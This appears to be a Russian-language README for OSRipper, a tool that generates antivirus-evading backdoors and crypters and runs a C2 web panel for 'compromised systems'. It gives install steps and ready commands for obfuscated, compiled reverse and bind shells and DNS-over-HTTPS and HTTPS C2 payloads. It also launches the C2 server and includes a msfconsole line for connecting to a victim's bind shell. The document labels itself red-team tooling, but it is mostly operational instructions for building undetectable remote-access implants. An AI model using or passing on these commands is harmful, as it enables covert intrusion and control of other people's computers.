noahoksuz/osripperКроссплатформенный фреймворк для создания бэкдоров и криптеров с обходом антивирусов и интегрированным легковесным веб-интерфейсом.
Продвинутый кроссплатформенный генератор полезных нагрузок и криптер с возможностями FUD
Возможности • Быстрый старт • Веб-интерфейс • Типы полезных нагрузок • Документация
OSRipper — это сложный, полностью необнаруживаемый (FUD) генератор бэкдоров и криптер, предназначенный для авторизованного тестирования на проникновение и операций «красных команд». Он использует передовые методы уклонения, несколько типов полезных нагрузок и современный веб-интерфейс C2 для управления скомпрометированными системами.
| Тип нагрузки | Описание | Сценарий использования |
|---|---|---|
| Bind Shell | Открывает порт на машине жертвы | Прямой доступ, когда обратные соединения заблокированы |
| Reverse TCP Meterpreter | Зашифрованное обратное соединение через SSL/TLS | Стандартное тестирование на проникновение |
| DNS-over-HTTPS C2 | Скрытый канал C2 через протокол DoH | Обход сетевых ограничений |
| HTTPS C2 | HTTPS C2 с привязкой сертификата | Защищённый, аутентифицированный канал C2 |
| Staged Payload | Многоэтапная доставка через веб | Повышенная скрытность развёртывания |
| Custom Code Crypter | Запутывание любого скрипта Python | Шифрование пользовательских нагрузок |
# Клонирование репозитория
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
# Установка зависимостей
pip3 install -r requirements.txt
# Установка пакета
pip3 install -e .
Важно — запустите настройку для дополнительных функций (ngrok, компиляция):
Во многих системах (особенно Linux с внешне управляемым окружением Python) необходимо выполнить встроенную настройку, чтобы дополнительные зависимости были установлены в собственное виртуальное окружение OSRipper. Сделайте это один раз после установки:
osripper-cli setup
Это создаст ~/.local/share/osripper/venv, установит туда pyngrok, nuitka и sandboxed, и все последующие запуски osripper / osripper-cli будут использовать их автоматически. Без этого опции --ngrok и --compile будут запрашивать выполнение настройки. Используйте osripper-cli setup --system только если предпочитаете установку через системный/пользовательский pip вместо venv.
Интерактивный режим:
osripper
# или
python3 -m osripper
Командная строка:
# Генерация обратной оболочки
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --compile
# Генерация DoH C2 нагрузки
osripper-cli doh -d example.com --obfuscate --compile
Веб-интерфейс:
# Запуск C2 сервера с веб-интерфейсом
python -m osripper.c2.server example.com --port 5000
# Доступ к панели по адресу http://localhost:5000
OSRipper включает современный веб-интерфейс C2 для управления скомпрометированными системами.
# Базовое использование
python -m osripper.c2.server example.com
# С HTTPS
python -m osripper.c2.server example.com --https
# Пользовательский порт
python -m osripper.c2.server example.com --port 8080
# С пользовательским сертификатом
python -m osripper.c2.server example.com --https --cert server.crt --key server.key
После запуска сервера панель управления доступна по адресам:
http://localhost:5000https://localhost:5000 (если включено)Открывает порт на машине жертвы и ожидает подключения.
osripper-cli bind -p 4444 --obfuscate --compile
Подключение:
msfconsole -q -x 'use python/meterpreter/bind_tcp; set RHOST target_ip; set RPORT 4444; exploit'
Зашифрованное обратное соединение через SSL/TLS.
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --enhanced --compile
Скрытый канал C2 через протокол DNS-over-HTTPS. Обходит многие сетевые ограничения.
# Генерация нагрузки
osripper-cli doh -d example.com --obfuscate --compile
# Запуск C2 сервера
python -m osripper.c2.server example.com
Возможности:
Безопасный HTTPS C2 с привязкой сертификата для аутентификации.
# Генерация нагрузки (через веб-интерфейс или CLI)
# Запуск C2 сервера с HTTPS
python -m osripper.c2.server example.com --https
# Получить отпечаток сертификата
curl http://localhost:5000/api/cert-fingerprint
Возможности: